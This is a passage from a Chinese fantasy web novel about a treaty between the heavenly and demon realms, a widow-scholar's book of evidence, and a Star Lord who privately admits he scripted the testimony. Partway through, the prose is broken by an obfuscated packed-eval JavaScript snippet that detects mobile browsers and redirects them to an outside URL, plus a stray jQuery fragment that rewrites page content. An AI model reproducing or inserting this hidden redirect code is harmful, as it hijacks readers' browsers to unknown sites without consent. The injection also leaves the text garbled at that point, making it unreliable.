笑。
隔了不知多久,白铭才将目光从那本颤抖的书上抬起。他看向阮江风的脸:一个与清剿那晚同样大的笑容,只是这一次是灿烂,而非疏朗。
更往后的位置,风陵君抬起手。掌心朝上,他注视着阮江风。
一瞬的犹疑,阮江风攥紧书。
“怎……”
左相的声音再次冒头,又再次被一团红色的灵力压下去,朱荇也抬起手,一道红色光芒轻巧地飞到阮江风手中的书上,将其妥帖地包裹住。
“你为什么有灵力?!”左相转而质疑朱荇。
“你也有,”朱荇瞥他一眼,“不是用来打架的都能用。”
她转向阮江风:“没事,给他。”
一时的沉默,阮江风望着书,仍有一丝犹豫。
“孤看完后会归还。”
阮江风抬起眼——风陵君的手依然抬着,这个魔君声调很轻,眼中却透出些庄重来。
神官试探着上前,在阮江风面前伸出手。
“……轻一些。”阮江风道。
“嗯。”风陵君应下。
风陵君的动作果然很轻,白铭瞧着那双苍白的手覆上书封、小心地拈起一个角、缓慢地翻开。
“哗啦”。阮江风一动。
风陵君扫了一眼第一页,再翻,这一次更加轻柔,没再有什么声音传出。白铭与阮江风一同紧盯着他的手与书——几息后他才反应过来,转而与在场其他神一般,仔细分辨风陵君神色。
一掀、一扫、再一掀。
前面似乎没什么要紧事,风陵君在一炷香里翻了约半册,面色始终平淡。直至某一页,他捏住书角,方抬起手便又停住。
白铭呼吸一滞。
这一次不是扫视。风陵君的目光定在开头的位置,两息,而后一寸一寸地向下挪过去。
这一页看罢、翻至下一页。时间被拉长,前一炷香是半册,这一炷香只过去三页。
等待,众人有意控制呼吸,厅中一时只有放久了、略有些变脆的书页的翻动声。
两炷香、三炷香、四……
风陵君的动作停在后半册,即使隔得远,白铭也看得出那里只有半页。
孟秋洲的一生,在这五炷香的翻阅里流尽。
静默。
有什么砸到桌案上,白铭从怅然中回过神,不大、但有点分量的……
风陵君合上书,转向神官:“请将此书还予阮先生。”
他正色、以双手交还。
阮江风再度起身,这一次白铭看清楚方才是什么东西落下……一个小小的水洼,在阮江风座前案上闪着微光。
“孟秋洲可敬,”风陵君对阮江风点点头,他接下来询问孟阳:“可否誊录一份,以作物证?”
“可以,”孟阳点头,“劳烦阮先生。”
点头、有更多的泪砸下来,朱荇那边动了一动。然而阮江风迅速抬起手,将泪抹下去。
他护着怀中书。
“魔界确实失察,”风陵君道,“孤代魔界向阮先生致歉。成献并其上峰一事,孤会回禀魔尊。”
“有劳风陵君。”孟阳颔首。
“然念及成献所为,并非魔尊授意,是以魔界无法应下‘不再侵扰散仙’之条目,”风陵君扫视一眼众神,“但魔界可以保证,此后对魔族严加约束,务使无魔再与散仙交战。”
“同时,”他不等孟阳开口,“请天界归还这一批魔族作恶时所用法器,以便魔界查验。”
护身符、香囊、玉佩……小像。
“风陵君见谅,”孟阳道,“此等法器,天界既已收缴,断没有再放出去的道理……”
风陵君平静无波地望着他。
“天界会统一焚毁。”孟阳弯出一个温和的笑。
风陵君没有考虑太久:“……有劳。”
“昨日所说第三条,魔界有何答复?”
“人间疆域辽阔,除去人类,也有散仙、妖、魔族居于其中,魔界无法确保所有魔不动手——但会尽力管束。”
“管束……”孟阳笑意未减,“天界无意插手魔界内政,只是‘管束’二字,恐难以界定规矩……不如这样——”
“魔界确保无魔侵扰散仙与人族聚落,如何?”
风陵君望着孟阳良久,一笑。
“这是自然。”他回答。
孟阳闻言也加深了笑容:“既然如此,我等便就此详加勘议合约条陈,风陵君以为如何?”
风陵君颔首。
“取纸笔来。”星君吩咐神官。
哗啦、哗啦。
清风扑进正殿,将桌案上摞着的书册纸卷吹起。两只手一高一低抬起,慌乱地将这张按下、将那本反扣……
“嗯……”
书堆后头传来一声含糊的咕哝。
两只手停在那里,云昭屏息,悄悄地看一眼那个脑袋……一息、两息,好,没有醒。
她轻轻地将手收回来。
正殿中,是四张拼凑在一起的桌案。云昭在靠里靠左的那一张后,右边那一张只摆了些符纸卷轴,再往前是高高的几摞书,刘子安伏在案上睡觉。
更远一些的窗边,歪着三条身影,从里到外是陈秀铮、小芍药和小狐狸。
一条小被子,由高到低地盖下来。
再往后,是碧蓝的天、几缕游丝状的云。日光明亮,照得宫室与草木都清晰非常。
暮夏将至,天没有那么热了。
云昭望了几眼殿外,又将目光放回案前:几份以麻绳捆好的符纸,她一一拆开查看过,没什么大问题。
全是刘子安画的,新据点也要建防护阵,这一次她完全交给散仙……做得还不错。
云昭微笑,她轻手轻脚地把符纸与地图挪到一边,再看一眼刘子安——很好,他完全看不到她这边……
神君悄悄拿出私藏的琅嬛阁典籍来。
这一册书从午后看至酉时一刻。陈秀铮与刘子安渐次睡醒,云昭将书收起来,与二人一同将符纸与地图包好,又目送他俩各自离开后方才又拿出来。
知道要搬家、但不知道什么时候搬,这种等待最煎熬。一众散仙将东西装了拿、拿了装……外头又传来洋溢着快乐的吵嚷:
“这个我明日还要用呢——”
“明日指不定就到抚州啦!”
“……定了明天?”低低的、含糊的声音。
“没有,”云昭悄声回答,“他们在吵架——你醒啦?”
“嗯。”
“大家今天都睡得好沉啊,”她传音也轻轻的,“夏天要过去了,怎么还这么困?”
“等待很无聊,”那头似乎翻了个身,“只好睡觉,打发时间……神君好勤勉。”
“还好啦,”神君谦虚道,“神君只是心无挂碍、心态平和、心系公务——”
“啾,啾啾。”
“白铭神君!”一瞬的停滞后,云昭在昆仑玉里发出尖叫,她立刻反应过来,迅速抬头看一眼小芍药和小狐狸——好,还睡着。她起身,按捺着激动,尽可能轻地走出门去。
外头有散仙、偏殿有、哪里都有人……云昭急着转了两个圈,最终灵光一闪。
她隐匿身形,跃上房顶。
“白铭神君!”刚站上屋檐,云昭便接过玉佩那头的传音,“谈完啦?”
“嗯,”一种疲惫得要死的声音,“拟了条陈,天界和魔界都盖了印……应当没什么问题了。”
“噢噢……”云昭一时不知要先关心他还是先问结果,正犹豫间,那头又道:“魔界答应了不侵扰散仙和人类的聚落。”
“真的?!!”
“真的,”那边回答,“具体的我晚点再找你说,现在还有点事。”
“好!!!”
白铭将玉雀收起来。
那几声高兴的大叫似乎还在脑中回响,他摇摇头,嗡鸣声重又占据了他的脑袋。
天还未黑,天衡司已有仆役掌灯,人流与灯火汇集,又穿行而过。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17431048|191673||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他茫然望着。
厅前已没什么人。阮江风被天衡司的神官带下去,今日他留宿于此,为天界誊抄秋洲的记录;风陵君一行人走得更早一些,朱荇与其他神官也随之离场……东侧传来喧嚷,天衡司在布置晚间宴席了。
“都走了?”厅内传来星君的声音。
“是。”白铭回身,应答。
“进来吧。”星君放下手中书卷,招呼他。
厅中座椅俱已归置如初,白铭走得很慢,星君抬眼,隔着几张座椅看他:“跟云昭说了?”
“……是。”
“坐吧,”星君收回目光,“有什么想问的?”
“阮江风,是星君安排好的吗?”白铭听见自己的声音,干巴巴的……仿佛只是为了应付星君的问题而随便找的一个回答。
“……”星君从合约中又抬起头,扫他一眼——白铭坐直了身子,紧绷绷。
“也别太耿直……”星君提醒他,但还是回答,“算是,也不算是。”
眼前无神的目光聚起来,星君这才露出些满意的神色:“我昨日告诉他,天界与魔界相谈,缺个人证。他起初不怎么关心……直到我说,谈成了对散仙有好处。”
白铭眉头一动。
“他答应了?”
“对,”星君似乎在回想当时景况,“他答应得还挺快。”
“那,那些话……”
“我教的,”星君道,“没那个时间让他自己编。”
……自己神色不对,白铭从星君眼中看到自己的脸,他努力控制住表情:“为什么?今日他这不是……把所有仇恨都揽到了散仙身上?”
魔族作乱是云昭上报,据点名录是云昭查到,清剿是云昭与自己带队,成献是云昭捆缚住的……然而今日厅中,没有一个人提到云昭。
“是吗?”星君反问,“他有提其他散仙吗?”
“……没有。”
“那就只是他和他妻子做的,”星君给出结论,“孟秋洲已死,仇恨只在他自己身上。”
“风陵君会信?”
星君这次垂下眼,认真思考了两息,随后抬眼:“也许信,也许不信——但这件事过去了。魔界签了合约,云昭没有暴露半分,人间散仙无虞,阮江风在天界的这一百年也会平安活下去。这不是皆大欢喜?”
那百年之后,阮江风怎么办?
今日是过去了,万一魔族回去,将他的——没有万一,他们一定会告诉魔尊,有个散仙,当着魔界使者的面宣扬他杀了一个魔将……
散仙的聚落能保住,一个离群百年的首领……
“他比我想得更聪明,”孟阳星君的感叹打断了他的思考,白铭抬起头:星君脸上有些意外,“我不知道他有物证。”
白铭愣住。
“没想到孟秋洲的剑里有铁证,”星君喟然,“人算不如天算,谁想到他这样爱他妻子……我听说,你之前想要拿那把剑?”
“……是。”
“云昭要你去拿的?”
“……是。”白铭垂下眼,他在狱中对阮江风讲过,要么是当时有人听到,要么是阮江风告诉了星君——不,星君不知道剑里有东西——不是阮江风说的。
“真好,”星君点点头,“怪不得他愿意豁出去。云昭不错,孟秋洲不错,阮江风也不错。”
他总结:“要都是这样,还有我们什么事?”
“不,不对……”白铭在一团浆糊中捞到块石头,他找到了自己真正的疑问,“他其实是为了云昭才那样说?”
星君终于露出一个满意的笑:“一部分云昭,一部分散仙吧。我告诉他,我们要保护云昭,云昭才能保护散仙。”
脑中嗡鸣声又起。
好似在深海,白铭听着自己的声音隔在另一个世界之外:“……我就这样告诉云昭吗?”
“我觉得还是别告诉她吧,”星君望着他,和蔼道,“心善的人,若是知道别人舍命保护她,心里总会过意不去……你觉得呢?”